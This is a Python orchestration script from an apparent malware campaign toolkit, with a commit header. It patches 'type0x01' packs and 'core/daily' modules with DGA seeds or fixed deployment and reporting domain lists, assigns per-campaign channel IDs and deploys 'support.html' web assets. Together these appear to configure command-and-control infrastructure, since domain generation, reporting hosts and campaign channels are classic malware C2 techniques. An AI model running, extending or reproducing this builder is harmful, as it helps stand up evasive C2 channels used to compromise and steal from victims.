8b079d37e4
Keep/restore https://%@ in type0x01/core and rewrite daily module URLs to https, and move campaign assets from source/web/<hash>/ up to source/web/ so templates match the channel artifact layout. Co-authored-by: Cursor <cursoragent@cursor.com>
260 lines
8.1 KiB
Python
260 lines
8.1 KiB
Python
#!/usr/bin/env python3
|
|
"""All-in-one: patch secondary packs + core/daily (DGA seeds or fixed domain lists)."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
import secrets
|
|
import shutil
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path
|
|
|
|
from _channel_patch import gen_channel_id, validate_channel_id
|
|
|
|
TOOLS = Path(__file__).resolve().parent
|
|
FRONTEND_ROOT = TOOLS.parent
|
|
LAB_ROOT = FRONTEND_ROOT
|
|
SOURCE_ROOT = FRONTEND_ROOT / "source"
|
|
|
|
|
|
def gen_seed() -> str:
|
|
"""32 lowercase hex chars (fits the 32-byte seed slot)."""
|
|
return secrets.token_hex(16)
|
|
|
|
|
|
def run(cmd: list[str]) -> None:
|
|
print("+", " ".join(cmd), flush=True)
|
|
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
|
|
|
|
|
|
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
|
skip = {"_bak", "__pycache__", ".DS_Store"}
|
|
return {n for n in names if n in skip or n.endswith(".pyc")}
|
|
|
|
|
|
def ensure_working_tree(root: Path, channel: str) -> None:
|
|
"""Ensure channel-scoped sync/ and web/ exist."""
|
|
camp = root / "web"
|
|
sync = root / "sync"
|
|
src_camp = SOURCE_ROOT / "web"
|
|
src_sync = SOURCE_ROOT / "sync"
|
|
if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir():
|
|
raise SystemExit(
|
|
f"missing source template.\n"
|
|
f"expected: {src_camp}/support.html and {src_sync}"
|
|
)
|
|
if not camp.is_dir() or not sync.is_dir():
|
|
print("=== bootstrap working tree from source/ ===")
|
|
if not sync.is_dir():
|
|
shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
|
|
print(f"copied sync/ -> {sync}")
|
|
if not camp.is_dir():
|
|
camp.parent.mkdir(parents=True, exist_ok=True)
|
|
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
|
|
print(f"copied web/ -> {camp}")
|
|
if not camp.is_dir() or not sync.is_dir():
|
|
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
|
|
print()
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser(
|
|
description=(
|
|
"Patch type0x01 + core/daily. Use either DGA seeds (default random) "
|
|
"or fixed --deployment-domains / --reporting-domains. The root is "
|
|
"one channel release containing web/ + sync/."
|
|
)
|
|
)
|
|
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
|
|
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
|
|
parser.add_argument(
|
|
"--channel-id",
|
|
help=(
|
|
"32-hex channel id for type-0x01, core, and sync plugins "
|
|
"(default: random)"
|
|
),
|
|
)
|
|
parser.add_argument(
|
|
"--deployment-domains",
|
|
action="append",
|
|
default=[],
|
|
help="fixed Deployment hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument(
|
|
"--reporting-domains",
|
|
action="append",
|
|
default=[],
|
|
help="fixed Reporting hosts (comma-separated or repeatable)",
|
|
)
|
|
parser.add_argument(
|
|
"--root",
|
|
type=Path,
|
|
help="channel root with web/ + sync/ (required with --apply)",
|
|
)
|
|
parser.add_argument(
|
|
"--apply",
|
|
action="store_true",
|
|
help="write into --root web/ + sync/",
|
|
)
|
|
parser.add_argument(
|
|
"-n",
|
|
"--count",
|
|
type=int,
|
|
default=5,
|
|
help="DGA candidates to print when not using fixed domains (default 5)",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
if args.apply and not args.root:
|
|
raise SystemExit("--apply requires --root <project-dir>")
|
|
if bool(args.deployment_domains) != bool(args.reporting_domains):
|
|
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
|
|
|
|
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
|
|
|
|
if args.apply and args.root:
|
|
ensure_working_tree(args.root.resolve(), channel)
|
|
|
|
fixed_mode = bool(args.deployment_domains)
|
|
dep = args.deployment_seed or gen_seed()
|
|
rep = args.reporting_seed or gen_seed()
|
|
if dep == rep:
|
|
while rep == dep:
|
|
rep = gen_seed()
|
|
|
|
out_root = (args.root.resolve() / "out") if args.root else (LAB_ROOT / "out")
|
|
out_root.mkdir(parents=True, exist_ok=True)
|
|
seeds_path = out_root / "seeds.json"
|
|
seeds_path.write_text(
|
|
json.dumps(
|
|
{
|
|
"deployment_seed": dep,
|
|
"reporting_seed": rep,
|
|
"channel_id": channel,
|
|
"mode": "fixed_domains" if fixed_mode else "dga",
|
|
},
|
|
indent=2,
|
|
)
|
|
+ "\n"
|
|
)
|
|
|
|
print("=== seeds / channel ===")
|
|
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
|
|
print(f"channel: {channel}")
|
|
print(f"deployment: {dep}")
|
|
print(f"reporting: {rep}")
|
|
print(f"saved: {seeds_path}")
|
|
if args.root:
|
|
print(f"root: {args.root.resolve()}")
|
|
print()
|
|
|
|
py = sys.executable
|
|
apply = ["--apply"] if args.apply else []
|
|
root = ["--root", str(args.root.resolve())] if args.root else []
|
|
channel_args = ["--channel-id", channel]
|
|
domain_args: list[str] = []
|
|
if fixed_mode:
|
|
for item in args.deployment_domains:
|
|
domain_args += ["--deployment-domains", item]
|
|
for item in args.reporting_domains:
|
|
domain_args += ["--reporting-domains", item]
|
|
|
|
print("=== 1/3 patch_secondary_packs ===")
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_secondary_packs.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
*channel_args,
|
|
*domain_args,
|
|
*root,
|
|
*apply,
|
|
]
|
|
)
|
|
print()
|
|
|
|
print("=== 2/3 patch_core (core + sync plugins channel) ===")
|
|
run(
|
|
[
|
|
py,
|
|
str(TOOLS / "patch_core.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
*channel_args,
|
|
*domain_args,
|
|
*root,
|
|
*apply,
|
|
]
|
|
)
|
|
print()
|
|
|
|
domains_path = out_root / "domains.json"
|
|
if fixed_mode:
|
|
manifest_path = out_root / "sync" / "MANIFEST.json"
|
|
if not manifest_path.is_file():
|
|
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
|
|
manifest = json.loads(manifest_path.read_text())
|
|
domains = {
|
|
"mode": "fixed_domains",
|
|
"deployment": {"seed": dep, "domains": manifest["deployment_domains"]},
|
|
"reporting": {"seed": rep, "domains": manifest["reporting_domains"]},
|
|
}
|
|
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
|
print("=== 3/3 fixed domains ===")
|
|
else:
|
|
print("=== 3/3 compute_dga_domains ===")
|
|
result = subprocess.run(
|
|
[
|
|
py,
|
|
str(TOOLS / "compute_dga_domains.py"),
|
|
"--deployment-seed",
|
|
dep,
|
|
"--reporting-seed",
|
|
rep,
|
|
"-n",
|
|
str(args.count),
|
|
"--json",
|
|
],
|
|
cwd=str(LAB_ROOT),
|
|
check=True,
|
|
capture_output=True,
|
|
text=True,
|
|
)
|
|
domains = json.loads(result.stdout)
|
|
domains["mode"] = "dga"
|
|
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
|
|
|
|
(out_root / "channel.json").write_text(
|
|
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
|
|
+ "\n"
|
|
)
|
|
|
|
print()
|
|
print("=== final domains ===")
|
|
print(f"channel={channel}")
|
|
print(f"deployment seed={dep}")
|
|
for i, domain in enumerate(domains["deployment"]["domains"], 1):
|
|
print(f" {i:03d} {domain}")
|
|
print(f"reporting seed={rep}")
|
|
for i, domain in enumerate(domains["reporting"]["domains"], 1):
|
|
print(f" {i:03d} {domain}")
|
|
print()
|
|
print(f"seeds: {seeds_path}")
|
|
print(f"domains: {domains_path}")
|
|
if args.apply and args.root:
|
|
print(f"web: {args.root.resolve() / 'web'}")
|
|
if not args.apply:
|
|
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|